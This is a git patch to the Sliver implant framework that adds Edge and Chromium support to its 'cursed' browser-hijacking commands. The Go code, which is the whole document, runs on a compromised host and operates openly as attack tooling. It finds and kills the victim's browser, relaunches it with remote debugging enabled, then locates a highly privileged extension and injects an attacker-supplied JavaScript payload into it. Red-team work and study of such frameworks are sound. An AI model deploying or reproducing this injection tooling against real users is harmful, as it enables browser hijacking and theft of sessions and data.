From 88a5b3a01c930afebc24a6f211df543248711e0c Mon Sep 17 00:00:00 2001 From: moloch-- <875022+moloch--@users.noreply.github.com> Date: Fri, 2 Sep 2022 16:03:27 -0700 Subject: [PATCH] cursed support for edge and chromium --- client/command/commands.go | 25 +++- client/command/cursed/cursed-chrome.go | 151 +++++++++++++++------- client/command/cursed/cursed-edge.go | 170 +++++++++++++++++++++++++ client/constants/constants.go | 1 + 4 files changed, 302 insertions(+), 45 deletions(-) create mode 100644 client/command/cursed/cursed-edge.go diff --git a/client/command/commands.go b/client/command/commands.go index 63ad7374ec..0dbd206d1b 100644 --- a/client/command/commands.go +++ b/client/command/commands.go @@ -3362,7 +3362,9 @@ func BindCommands(con *console.SliverConsoleClient) { HelpGroup: consts.GenericHelpGroup, Flags: func(f *grumble.Flags) { f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port") - f.String("i", "extension-id", "", "extension id to inject into (blank string = auto)") + f.Bool("R", "restore", true, "restore the user's session after process termination") + f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)") + f.String("u", "user-data", "", "user data directory (blank string = auto)") f.String("p", "payload", "", "cursed chrome payload file path (.js)") f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") @@ -3374,6 +3376,27 @@ func BindCommands(con *console.SliverConsoleClient) { return nil }, }) + cursedCmd.AddCommand(&grumble.Command{ + Name: consts.CursedEdge, + Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension", + LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}), + HelpGroup: consts.GenericHelpGroup, + Flags: func(f *grumble.Flags) { + f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port") + f.Bool("R", "restore", true, "restore the user's session after process termination") + f.String("e", "exe", "", "edge browser executable path (blank string = auto)") + f.String("u", "user-data", "", "user data directory (blank string = auto)") + f.String("p", "payload", "", "cursed chrome payload file path (.js)") + + f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + }, + Run: func(ctx *grumble.Context) error { + con.Println() + cursed.CursedEdgeCmd(ctx, con) + con.Println() + return nil + }, + }) cursedCmd.AddCommand(&grumble.Command{ Name: consts.CursedElectron, Help: "Curse a remote Electron application", diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go index 09299a3dad..2827c1e467 100644 --- a/client/command/cursed/cursed-chrome.go +++ b/client/command/cursed/cursed-chrome.go @@ -145,7 +145,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co return nil } } - curse, err := startCursedChromeProcess(true, session, ctx, con) + curse, err := startCursedChromeProcess(false, session, ctx, con) if err != nil { con.PrintErrorf("%s\n", err) return nil @@ -153,29 +153,36 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co return curse } -func startCursedChromeProcess(restore bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) { - con.PrintInfof("Finding Chrome executable path ... ") - chromeExePath, err := findChromeExecutablePath(session, ctx, con) +func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) { + name := "Chrome" + if isEdge { + name = "Edge" + } + + con.PrintInfof("Finding %s executable path ... ", name) + chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con) if err != nil { con.Printf("failure!\n") return nil, err } con.Printf("success!\n") - con.PrintInfof("Finding Chrome user data directory ... ") - chromeUserDataDir, err := findChromeUserDataDir(session, ctx, con) + con.PrintInfof("Finding %s user data directory ... ", name) + chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con) if err != nil { con.Printf("failure!\n") return nil, err } con.Printf("success!\n") - con.PrintInfof("Starting Chrome process ... ") + con.PrintInfof("Starting %s process ... ", name) debugPort := uint16(ctx.Flags.Int("remote-debugging-port")) args := []string{ fmt.Sprintf("--remote-debugging-port=%d", debugPort), } - if restore { + if chromeUserDataDir != "" { args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir)) + } + if ctx.Flags.Bool("restore") { args = append(args, "--restore-last-session") } @@ -193,7 +200,7 @@ func startCursedChromeProcess(restore bool, session *clientpb.Session, ctx *grum } con.Printf("(pid: %d) success!\n", chromeExec.GetPid()) - con.PrintInfof("Waiting for Chrome process to initialize ... ") + con.PrintInfof("Waiting for %s process to initialize ... ", name) time.Sleep(2 * time.Second) bindPort := insecureRand.Intn(10000) + 40000 @@ -236,39 +243,12 @@ func startCursedChromeProcess(restore bool, session *clientpb.Session, ctx *grum return curse, nil } -func isChromeProcess(executable string) bool { - var chromeProcessNames = []string{ - "chrome", // Linux - "chrome.exe", // Windows - "Google Chrome", // Darwin - } - for _, suffix := range chromeProcessNames { - if strings.HasSuffix(executable, suffix) { - return true - } - } - return false -} - -func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) { - ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ - Request: con.ActiveTarget.Request(ctx), - }) - if err != nil { - return nil, err +func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) { + userDataFlag := ctx.Flags.String("user-data") + if userDataFlag != "" { + return userDataFlag, nil } - for _, process := range ps.Processes { - if process.GetOwner() != session.GetUsername() { - continue - } - if isChromeProcess(process.GetExecutable()) { - return process, nil - } - } - return nil, nil -} -func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) { switch session.GetOS() { case "windows": @@ -278,6 +258,9 @@ func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con } for _, driveLetter := range windowsDriveLetters { userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username) + if isEdge { + userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username) + } ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ Request: con.ActiveTarget.Request(ctx), Path: userDataDir, @@ -293,6 +276,9 @@ func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con case "darwin": userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username) + if isEdge { + userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username) + } ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ Request: con.ActiveTarget.Request(ctx), Path: userDataDir, @@ -310,22 +296,34 @@ func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con } } -func findChromeExecutablePath(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) { +func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) { + exeFlag := ctx.Flags.String("exe") + if exeFlag != "" { + return exeFlag, nil + } + switch session.GetOS() { case "windows": - chromePaths := []string{ + chromeWindowsPaths := []string{ "[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", "[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", "[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe", } + if isEdge { + chromeWindowsPaths = []string{ + "[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe", + "[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe", + } + } username := session.GetUsername() if strings.Contains(username, "\\") { username = strings.Split(username, "\\")[1] } for _, driveLetter := range windowsDriveLetters { - for _, chromePath := range chromePaths { + for _, chromePath := range chromeWindowsPaths { chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter) chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username) ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ @@ -343,7 +341,11 @@ func findChromeExecutablePath(session *clientpb.Session, ctx *grumble.Context, c return "", ErrChromeExecutableNotFound case "darwin": - const defaultChromePath = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" + // AFAIK Chrome only installs to this path on macOS + defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" + if isEdge { + defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge" + } ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ Request: con.ActiveTarget.Request(ctx), Path: defaultChromePath, @@ -356,7 +358,68 @@ func findChromeExecutablePath(session *clientpb.Session, ctx *grumble.Context, c } return "", ErrChromeExecutableNotFound + case "linux": + chromeLinuxPaths := []string{ + "/usr/bin/google-chrome", + "/usr/bin/chromium-browser", + "/usr/local/bin/google-chrome", + "/usr/local/bin/chromium-browser", + } + if isEdge { + chromeLinuxPaths = []string{ + "/usr/bin/microsoft-edge", + "/usr/local/bin/microsoft-edge", + } + } + for _, chromePath := range chromeLinuxPaths { + ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ + Request: con.ActiveTarget.Request(ctx), + Path: chromePath, + }) + if err != nil { + return "", err + } + if ls.GetExists() { + return chromePath, nil + } + } + return "", ErrChromeExecutableNotFound + default: return "", ErrUnsupportedOS } } + +func isChromeProcess(executable string) bool { + var chromeProcessNames = []string{ + "chrome", // Linux + "google-chrome", // Linux + "chromium-browser", // Linux + "chrome.exe", // Windows + "Google Chrome", // Darwin + } + for _, suffix := range chromeProcessNames { + if strings.HasSuffix(executable, suffix) { + return true + } + } + return false +} + +func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) { + ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ + Request: con.ActiveTarget.Request(ctx), + }) + if err != nil { + return nil, err + } + for _, process := range ps.Processes { + if process.GetOwner() != session.GetUsername() { + continue + } + if isChromeProcess(process.GetExecutable()) { + return process, nil + } + } + return nil, nil +} diff --git a/client/command/cursed/cursed-edge.go b/client/command/cursed/cursed-edge.go new file mode 100644 index 0000000000..6c4cc24914 --- /dev/null +++ b/client/command/cursed/cursed-edge.go @@ -0,0 +1,170 @@ +package cursed + +/* + Sliver Implant Framework + Copyright (C) 2022 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "io/ioutil" + "strings" + + "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/overlord" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/desertbit/grumble" +) + +// CursedChromeCmd - Execute a .NET assembly in-memory +func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveTarget.GetSessionInteractive() + if session == nil { + return + } + + payloadPath := ctx.Flags.String("payload") + var payload []byte + var err error + if payloadPath != "" { + payload, err = ioutil.ReadFile(payloadPath) + if err != nil { + con.PrintErrorf("Could not read payload file: %s\n", err) + return + } + } + + curse := avadaKedavraEdge(session, ctx, con) + if curse == nil { + return + } + if payloadPath == "" { + con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n") + return + } + + con.PrintInfof("Searching for Edge extension with all permissions ... ") + chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + // There is one alternative set of permissions that we can use if we don't find an extension + // with all the proper permissions. + if chromeExt == nil { + chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + } + if chromeExt != nil { + con.Printf("success!\n") + con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID) + con.PrintInfof("Injecting payload ... ") + ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse) + // extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second) + // defer cancel() + _, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload)) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + con.Printf("success!\n") + } else { + con.Printf("failure!\n") + con.PrintInfof("No viable Edge extensions were found ☹️\n") + } +} + +func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess { + edgeProcess, err := getEdgeProcess(session, ctx, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + if edgeProcess != nil { + con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid()) + con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n") + con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal) + con.Printf("\n") + confirm := false + err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + if !confirm { + con.PrintErrorf("User cancel\n") + return nil + } + terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{ + Request: con.ActiveTarget.Request(ctx), + Pid: edgeProcess.GetPid(), + }) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + if terminateResp.Response != nil && terminateResp.Response.Err != "" { + con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err) + return nil + } + } + curse, err := startCursedChromeProcess(true, session, ctx, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + return curse +} + +func isEdgeProcess(executable string) bool { + var edgeProcessNames = []string{ + "msedge", // Linux + "microsoft-edge", // Linux + "msedge.exe", // Windows + "Microsoft Edge", // Darwin + } + for _, suffix := range edgeProcessNames { + if strings.HasSuffix(executable, suffix) { + return true + } + } + return false +} + +func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) { + ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ + Request: con.ActiveTarget.Request(ctx), + }) + if err != nil { + return nil, err + } + for _, process := range ps.Processes { + if process.GetOwner() != session.GetUsername() { + continue + } + if isEdgeProcess(process.GetExecutable()) { + return process, nil + } + } + return nil, nil +} diff --git a/client/constants/constants.go b/client/constants/constants.go index ef30970a16..e283a43b3a 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -243,6 +243,7 @@ const ( CursedChrome = "chrome" CursedConsole = "console" CursedElectron = "electron" + CursedEdge = "edge" ) // Groups